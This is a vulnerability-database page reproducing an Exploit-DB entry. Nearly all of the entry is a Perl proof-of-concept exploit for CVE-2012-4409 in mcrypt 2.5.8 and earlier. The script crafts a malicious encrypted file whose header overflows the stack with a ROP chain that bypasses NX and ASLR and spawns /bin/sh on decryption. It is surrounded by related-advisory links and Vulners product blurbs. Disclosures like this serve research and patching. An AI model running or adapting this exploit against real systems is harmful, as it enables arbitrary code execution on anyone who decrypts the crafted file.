Lucene search
K

mcrypt 2.5.8 - Local Stack Overflow

🗓️ 26 Nov 2012 00:00:00Reported by ToshType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

mcrypt <= 2.5.8 STACK based overflow with crafted crypted file for arbitrary code execution bypassing NX and ASL

Related
Code
ReporterTitlePublishedViews
Family
0day.today
mcrypt <= 2.5.8 STACK based overflow Vulnerability
24 Nov 201200:00
zdt
Circl
CVE-2012-4409
26 Nov 201200:00
circl
CVE
CVE-2012-4409
21 Nov 201223:00
cve
Cvelist
CVE-2012-4409
21 Nov 201223:00
cvelist
Debian CVE
CVE-2012-4409
21 Nov 201223:00
debiancve
exploitpack
mcrypt 2.5.8 - Local Stack Overflow
26 Nov 201200:00
exploitpack
Fedora
[SECURITY] Fedora 18 Update: mcrypt-2.6.8-9.fc18
17 Sep 201222:15
fedora
Fedora
[SECURITY] Fedora 16 Update: mcrypt-2.6.8-10.fc16
8 Nov 201201:52
fedora
Fedora
[SECURITY] Fedora 16 Update: mcrypt-2.6.8-9.fc16
19 Sep 201203:11
fedora
Fedora
[SECURITY] Fedora 17 Update: mcrypt-2.6.8-9.fc17
26 Sep 201209:14
fedora
Rows per page
#!/usr/bin/perl

# Title          : mcrypt <= 2.5.8 STACK based overflow
# Date           : 23/11/2012
# Exploit Author : Tosh
# CVE            : CVE-2012-4409 
# Patch          : http://www.openwall.com/lists/oss-security/2012/09/06/8
# Tested on      : Archlinux 3.6.6-1, without SSP


# This script exploit a stack based overflow in mcrypt <= 2.5.8.
# It bypass NX and ASLR protections, but no SSP.

# This exploit craft a crypted file and arbitrary code may be executed if the file is decrypted with a vulnerable version
# of mcrypt. The vulnerable function is check_file_head(), present in src/extra.c. See the CVE details or the patch for more
# informations.

# Payload must be adjusted on others plateforms, here is just a Proof of Concept :) 

use strict;
use warnings;

my $filename = 'fake.nc';

my $file;
my $payload;

print "[+] Build payload.\n";
$payload = payload();

print "[+] Build file.\n";
$file = build_file($payload);

print "[+] Writing $filename.\n";
write_file();

print "[+] DONE.\n";

sub write_file {
    die("[-] Can't open $filename : $!\n") unless(open F, '>', $filename);
    print F $file;
    close F;
}

sub build_file {
# magic 
    $file .= "\x00m\x03";

# flags
    $file .= pack('C', 1 << 6);

# algorithm
    $file .= "H\@Ck3d\x00";

# keysize
    $file .= pack('S', 0xdead);

# mode
    $file .= "h\@cK3d\x00";

# keymode
    $file .= "H\@CK3D\x00";

# sflags
    $file .= "\xff";

# payload
    $file .= $_[0];
    
    return $file;
}

sub payload {
    my $saved_eip_off = 0x71;       # Buffer len for overwrite saved EIP
    my $v_local_1     = 0x0805b000; # Local variable 1 overwriten
    my $v_local_2     = 0x08048007; # Local variable 2 overwriten
    my $ret_sled      = 5;          # Offset between saved EIP and local variables
    my $strcpy_plt    = 0x080499f0; # strcpy@plt address
    my $fopen64_got   = 0x0805b1c8; # fopen64 got entry
    my $system_off    = 0xfffd6b30; # fopen64 - system
    my $w_mem         = 0x0805b000; # writable memory, without ASLR

    my $pop2_ret      = 0x08055a63; # pop; pop; ret
    my $ret           = 0x0805a5ed; # ret
    my $pop_ebx       = 0x08056186; # pop ebx; ret
    my $pop_edi       = 0x08053460; # pop edi; ret
    my $xchg_eax      = 0x080517a4; # xchg eax, edi; ret
    my $add_eax       = 0x0804dabf; # add eax,[ebx-0x2776e73c]; pop ebx; ret
    my $call_eax      = 0x0804b357; # call eax; leave; ret

    my $payload;

    $payload .= "A"x$saved_eip_off;
    $payload .= pack('L', $ret) x $ret_sled;
    $payload .= pack('L', $pop2_ret);
    $payload .= pack('L', $v_local_1);
    $payload .= pack('L', $v_local_2);

# Copy  "/bin/" in +W memory
    $payload .= pack('L', $strcpy_plt);
    $payload .= pack('L', $pop2_ret);
    $payload .= pack('L', $w_mem + 0x00);
    $payload .= pack('L', 0x08057fc2); 

# Copy "sh" + "\x00" in +W memory
    $payload .= pack('L', $strcpy_plt);
    $payload .= pack('L', $pop2_ret);
    $payload .= pack('L', $w_mem + 0x05);
    $payload .= pack('L', 0x08048bab);

# Calc system() address with fopen64 GOT entry
    $payload .= pack('L', $pop_ebx);
    $payload .= pack('L', $fopen64_got + 0x2776e73c);

    $payload .= pack('L', $pop_edi);
    $payload .= pack('L', $system_off);

    $payload .= pack('L', $xchg_eax);

    $payload .= pack('L', $add_eax);
    $payload .= "HaCk";

# Call system("/bin/sh")
    $payload .= pack('L', $call_eax);
    $payload .= pack('L', $w_mem);

    die("[-] Payload too long !\n") if(length $payload > 0xfe);
    return $payload;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Nov 2012 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 26.8
EPSS0.58743
40